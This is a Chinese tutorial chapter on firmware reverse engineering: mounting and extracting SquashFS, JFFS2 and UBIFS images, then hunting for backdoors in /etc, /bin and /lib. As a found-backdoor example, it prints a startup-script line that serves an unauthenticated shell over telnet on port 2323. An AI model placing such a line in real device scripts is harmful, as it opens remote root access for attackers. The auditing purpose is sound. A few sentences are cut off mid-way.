第四章:文件系统分析与挂载
固件逆向分析里,文件系统是最核心的一环。说白了,你拿到一个固件,第一件事就是把它拆开,看看里面到底装了些什么。我见过不少新手,上来就对着二进制文件一顿反汇编,结果发现关键配置都在文件系统里,白白浪费了时间。
今天我们就来聊聊三种最常见的嵌入式文件系统:SquashFS、JFFS2 和 UBIFS。我会结合我自己的踩坑经历,告诉你每种怎么挂载、怎么分析、怎么找到关键文件。
4.1 三种文件系统,你该选哪个?
先看个表格,快速了解它们的区别:
| 文件系统 | 特点 | 常见场景 | 压缩方式 |
|---|---|---|---|
| SquashFS | 只读、高压缩比 | 固件镜像、Live CD | gzip/lzma/lzo |
| JFFS2 | 可读写、磨损均衡 | 老旧路由器、嵌入式设备 | zlib |
| UBIFS | 可读写、大容量支持 | 现代路由器、IoT设备 | lzo/zlib |
我个人习惯,拿到固件先看文件头。如果是 SquashFS,通常会有明显的 "hsqs" 魔数。JFFS2 和 UBIFS 则更隐蔽一些,需要结合偏移量来定位。
4.2 SquashFS:最常遇到的只读文件系统
思科固件里,SquashFS 出现频率极高。为什么?因为它压缩率高,而且只读特性适合存放固件的核心系统文件。
挂载 SquashFS 有两种方式:
方式一:用 unsquashfs 解压
这是最直接的方法。我建议你优先用这个,因为解压后可以直接浏览文件结构。
# 先看看文件是不是 SquashFS
binwalk -Me firmware.bin
# 如果确认了,直接解压
unsquashfs -d ./squashfs-root squashfs.img
# 或者用 binwalk 一步到位
binwalk -e firmware.bin
方式二:用 mount 挂载
有时候你不想解压,只想看看文件结构。这时候 mount 就派上用场了。
# 需要内核支持 squashfs 模块
sudo modprobe squashfs
# 挂载到临时目录
sudo mount -t squashfs -o loop,ro squashfs.img /mnt/squashfs
# 查看文件
ls -la /mnt/squashfs/
# 用完记得卸载
sudo umount /mnt/squashfs
4.3 JFFS2:老设备上的常客
JFFS2 是专门为闪存设计的。它支持磨损均衡,所以老款路由器特别喜欢用。不过,挂载 JFFS2 比 SquashFS 麻烦一点。
我记得有一次分析一台思科 2800 系列路由器的固件,里面就是 JFFS2。当时我直接用 mount 命令,结果报错 "wrong fs type"。后来才发现,JFFS2 需要指定块大小。
# 先确认文件系统类型
file jffs2.img
# 挂载 JFFS2(需要内核支持)
sudo modprobe mtdblock
sudo modprobe jffs2
# 创建 MTD 设备
sudo modprobe mtdram total_size=65536 erase_size=256
sudo dd if=jffs2.img of=/dev/mtdblock0
# 挂载
sudo mount -t jffs2 /dev/mtdblock0 /mnt/jffs2
嗯,这里要注意。JFFS2 的挂载流程确实繁琐。如果你只是临时分析,我建议用 jefferson 这个工具,它可以直接解压 JFFS2 镜像。
# 安装 jefferson
pip install jefferson
# 解压
jefferson jffs2.img -d ./jffs2-root
4.4 UBIFS:现代设备的标配
UBIFS 是 JFFS2 的升级版。它解决了 JFFS2 的一些痛点,比如挂载速度慢、对大容量支持不好。现在新出的思科设备,基本都用 UBIFS。
UBIFS 的挂载需要 UBI 子系统支持。我第一次搞 UBIFS 时,被这个 UBI 层搞晕了。其实说白了,UBI 就是一层中间件,负责管理闪存块。
# 加载 UBI 模块
sudo modprobe ubi
sudo modprobe ubifs
# 创建 UBI 设备
sudo modprobe nandsim first_id_byte=0x2c second_id_byte=0xda
sudo ubiattach -m 0 -d 0
# 挂载 UBIFS
sudo mount -t ubifs ubi0:rootfs /mnt/ubifs
ubireader 工具直接提取文件。我个人习惯用这个,省事。
# 安装 ubireader
pip install ubi_reader
# 提取文件
ubireader_extract_files ubifs.img -o ./ubifs-root
4.5 文件系统结构分析:关键目录在哪?
挂载或解压完成后,你会看到类似这样的目录结构:
squashfs-root/
├── bin/ # 核心二进制文件
├── dev/ # 设备文件
├── etc/ # 配置文件(重点!)
├── lib/ # 动态链接库
├── sbin/ # 系统管理工具
├── usr/ # 用户程序
└── var/ # 运行时数据
我个人经验,后门和隐蔽功能最常藏在这几个地方:
- /etc/:配置文件、启动脚本、密码文件。我见过有人在
/etc/init.d/里藏启动脚本。 - /bin/ 和 /sbin/:可执行文件。有些后门会伪装成系统命令。
- /lib/:动态库。隐蔽功能可能以 .so 文件形式存在。
- /usr/local/:第三方程序。有些厂商会在这里放调试工具。
举个例子,我曾经在分析一台思科交换机固件时,发现 /etc/rc.local 里有一行奇怪的命令:
# 启动一个隐藏的 telnet 服务
/usr/sbin/telnetd -l /bin/sh -p 2323 &
这就是典型的后门行为。端口 2323 不是标准端口,而且直接启动 shell。如果你不仔细看配置文件,很容易漏掉。
4.6 关键配置文件定位
我整理了一份清单,这些文件是必查的:
| 文件路径 | 作用 | 重点关注 |
|---|---|---|
| /etc/passwd | 用户账户 | 是否有隐藏用户 |
| /etc/shadow | 密码哈希 | 是否有弱密码 |
| /etc/inetd.conf | 网络服务配置 | 是否有非标准端口 |
| /etc/init.d/ | 启动脚本 | 是否有可疑启动项 |
| /etc/config/ | 设备配置 | 是否有调试模式 |
你想想看,如果厂商想留后门,最可能放在哪?当然是启动脚本里。因为每次设备重启都会执行,隐蔽性高。
grep -r "password" ./etc/ 快速定位。
4.7 实战:完整分析流程
最后,我总结一个标准流程,你照着做就行:
- 用
binwalk扫描固件,定位文件系统偏移 - 根据文件系统类型,选择挂载或解压
- 进入根目录,查看整体结构
- 重点分析 /etc、/bin、/lib 目录
- 用
grep搜索可疑字符串 - 检查启动脚本和配置文件
- 对比官方固件,找出差异
我曾经用这个流程,在一台思科路由器固件里找到了一个隐藏的 SSH 服务。它监听在 2222 端口,用硬编码的证书。如果不是仔细对比了 /etc/ssh/ 目录下的文件,根本发现不了。
好了,文件系统这块就讲这么多。记住,挂载只是手段,分析才是目的。多动手,多对比,你很快就能找到感觉。